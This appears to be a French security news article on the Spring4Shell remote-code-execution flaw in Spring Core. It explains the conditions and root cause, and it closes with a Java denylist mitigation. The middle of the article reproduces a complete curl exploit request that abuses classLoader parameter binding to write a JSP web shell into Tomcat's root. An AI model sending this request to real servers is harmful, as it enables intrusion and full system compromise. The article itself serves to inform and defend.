Une vulnérabilité critique de type 0-day a été identifiée dans le module Spring Core, inclus dans le framework Spring Framework, permettant à un attaquant distant non authentifié d'exécuter son code sur le serveur. Il n'est pas encore clair quelles pourraient être les conséquences catastrophiques de ce problème et si les attaques seront aussi massives que celles liées à la vulnérabilité de Log4j 2. La vulnérabilité a été surnommée Spring4Shell, mais aucun identifiant CVE n'a encore été attribué. Dans Spring Framework, le problème demeure non corrigé et plusieurs prototypes d'exploits fonctionnels sont déjà disponibles sur le Web (1, 2, 3, 4). La situation est aggravée par le fait que de nombreuses applications Java d'entreprise basées sur Spring Framework s'exécutent avec des privilèges root, et la vulnérabilité permet de compromettre complètement le système.
Selon certaines estimations, le module Spring Core est utilisé dans 74 % des applications Java. La dangerosité de la vulnérabilité est atténuée par le fait que seules les applications utilisant l'annotation « @RequestMapping » pour connecter les gestionnaires de requêtes et lier les paramètres des formulaires web au format « name=value » (POJO, Plain Old Java Object) sont concernées, plutôt que celles utilisant JSON/XML.
Il n'est pas encore clair quelles applications et frameworks Java sont concernés par le problème. La vulnérabilité empêche l'ajout aux listes noires des champs « class », « module » et « classLoader », ou l'utilisation d'une liste blanche explicite des champs autorisés. L'exploitation de la vulnérabilité est possible uniquement avec Java/JDK 9 ou une version plus récente. Ce problème est causé par la possibilité de contourner la protection contre la vulnérabilité CVE-2010-1622, corrigée dans Spring Framework en 2010 et liée à l'exécution du gestionnaire classLoader lors de l'analyse des paramètres de la requête.
Le fonctionnement de l'exploit consiste à envoyer une requête avec les paramètres «class.module.classLoader.resources.context.parent.pipeline.first.*», dont le traitement mène à la création d'un fichier jsp dans l'environnement racine d'Apache Tomcat et à l'enregistrement dans ce fichier du code indiqué par l'attaquant. Le fichier créé devient accessible par des requêtes directes et peut être utilisé comme un web shell. Pour attaquer une application vulnérable dans un environnement Apache Tomcat, il suffit d'envoyer une requête avec des paramètres spécifiques à l'aide de l'outil curl. curl -v -d «class.module.classLoader.resources.context.parent.pipeline.first.pattern=code_à_insérer_dans_le_fichier &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT &class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=» http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
Le problème discuté dans Spring Core ne doit pas être confondu avec les vulnérabilités récemment découvertes CVE-2022-22963 et CVE-2022-22950. Le premier problème concerne le package Spring Cloud et a été corrigé dans les versions 3.1.7 et 3.2.3. Le second problème existe dans Spring Expression et a été corrigé dans Spring Framework 5.3.17. Ce sont des vulnérabilités fondamentalement différentes. Concernant la nouvelle vulnérabilité, les développeurs de Spring Framework n'ont pas encore fait d'annonces ni publié de correctif.
En tant que mesure temporaire pour la protection, il est recommandé d'utiliser une liste noire de paramètres de requête indésirables dans le code : import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{«class.», «Class.», «.class.», «.Class.»}; dataBinder.setDisallowedFields(denylist); } }
Source : opennet.ru
